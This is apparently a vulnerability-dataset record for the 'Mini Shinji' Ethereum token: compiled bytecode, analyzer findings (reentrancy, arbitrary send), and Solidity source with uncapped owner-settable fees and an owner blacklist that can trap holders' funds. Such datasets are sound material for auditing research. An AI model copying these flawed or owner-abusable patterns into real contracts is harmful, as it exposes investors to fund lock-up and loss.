fffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001991c2c027b0099e340ac2257219bf7901bf5b0618361f57bef5c6b11346c5a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,065 |
0xc7c9f5e1ade17d3ce77d3561fb30e7f616a6c6bf
|
/**
*Submitted for verification at Etherscan.io on 2022-01-09
*/
// Mini Shinji
// Telegram: https://t.me/Mini_Shinji
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MiniShinji is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mini Shinji";
string private constant _symbol = "SHINJI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _distroFeeOnSell = 2;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x7C773517fB12FAE7d8040146F9Cf186EFE076461);
address payable private _devAddress = payable(0x7C773517fB12FAE7d8040146F9Cf186EFE076461);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(9).mul(8));
_devAddress.transfer(amount.div(9).mul(1));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
}
|
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104b5578063c3c8cd80146104e5578063dd62ed3e146104fa578063ea1644d51461054057600080fd5b806398a5c31514610455578063a2a957bb14610475578063a9059cbb1461049557600080fd5b80638da5cb5b116100c65780638da5cb5b146103d25780638f70ccf7146103f05780638f9a55c01461041057806395d89b411461042657600080fd5b8063715018a61461038757806374010ece1461039c5780637d1db4a5146103bc57600080fd5b80632fd689e3116101595780636b999053116101335780636b999053146103125780636d8aa8f8146103325780636fc3eaec1461035257806370a082311461036757600080fd5b80632fd689e3146102c0578063313ce567146102d657806349bd5a5e146102f257600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b3146102135780631694505e1461024357806318160ddd1461027b57806323b872dd146102a057600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c6366004611691565b610560565b005b3480156101d957600080fd5b5060408051808201909152600b81526a4d696e69205368696e6a6960a81b60208201525b60405161020a9190611756565b60405180910390f35b34801561021f57600080fd5b5061023361022e3660046117ab565b6105ff565b604051901515815260200161020a565b34801561024f57600080fd5b50601454610263906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b34801561028757600080fd5b50678ac7230489e800005b60405190815260200161020a565b3480156102ac57600080fd5b506102336102bb3660046117d7565b610616565b3480156102cc57600080fd5b5061029260185481565b3480156102e257600080fd5b506040516009815260200161020a565b3480156102fe57600080fd5b50601554610263906001600160a01b031681565b34801561031e57600080fd5b506101cb61032d366004611818565b61067f565b34801561033e57600080fd5b506101cb61034d366004611835565b6106ca565b34801561035e57600080fd5b506101cb610712565b34801561037357600080fd5b50610292610382366004611818565b61073f565b34801561039357600080fd5b506101cb610761565b3480156103a857600080fd5b506101cb6103b7366004611857565b6107d5565b3480156103c857600080fd5b5061029260165481565b3480156103de57600080fd5b506000546001600160a01b0316610263565b3480156103fc57600080fd5b506101cb61040b366004611835565b610804565b34801561041c57600080fd5b5061029260175481565b34801561043257600080fd5b506040805180820190915260068152655348494e4a4960d01b60208201526101fd565b34801561046157600080fd5b506101cb610470366004611857565b61084c565b34801561048157600080fd5b506101cb610490366004611870565b61087b565b3480156104a157600080fd5b506102336104b03660046117ab565b6108b9565b3480156104c157600080fd5b506102336104d0366004611818565b60106020526000908152604090205460ff1681565b3480156104f157600080fd5b506101cb6108c6565b34801561050657600080fd5b506102926105153660046118a2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054c57600080fd5b506101cb61055b366004611857565b6108fc565b6000546001600160a01b031633146105935760405162461bcd60e51b815260040161058a906118db565b60405180910390fd5b60005b81518110156105fb576001601060008484815181106105b7576105b7611910565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f38161193c565b915050610596565b5050565b600061060c33848461092b565b5060015b92915050565b6000610623848484610a4f565b610675843361067085604051806060016040528060288152602001611a56602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ec4565b61092b565b5060019392505050565b6000546001600160a01b031633146106a95760405162461bcd60e51b815260040161058a906118db565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106f45760405162461bcd60e51b815260040161058a906118db565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461073257600080fd5b4761073c81610efe565b50565b6001600160a01b03811660009081526002602052604081205461061090610f93565b6000546001600160a01b0316331461078b5760405162461bcd60e51b815260040161058a906118db565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107ff5760405162461bcd60e51b815260040161058a906118db565b601655565b6000546001600160a01b0316331461082e5760405162461bcd60e51b815260040161058a906118db565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108765760405162461bcd60e51b815260040161058a906118db565b601855565b6000546001600160a01b031633146108a55760405162461bcd60e51b815260040161058a906118db565b600893909355600a91909155600955600b55565b600061060c338484610a4f565b6012546001600160a01b0316336001600160a01b0316146108e657600080fd5b60006108f13061073f565b905061073c81611017565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161058a906118db565b601755565b6001600160a01b03831661098d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058a565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01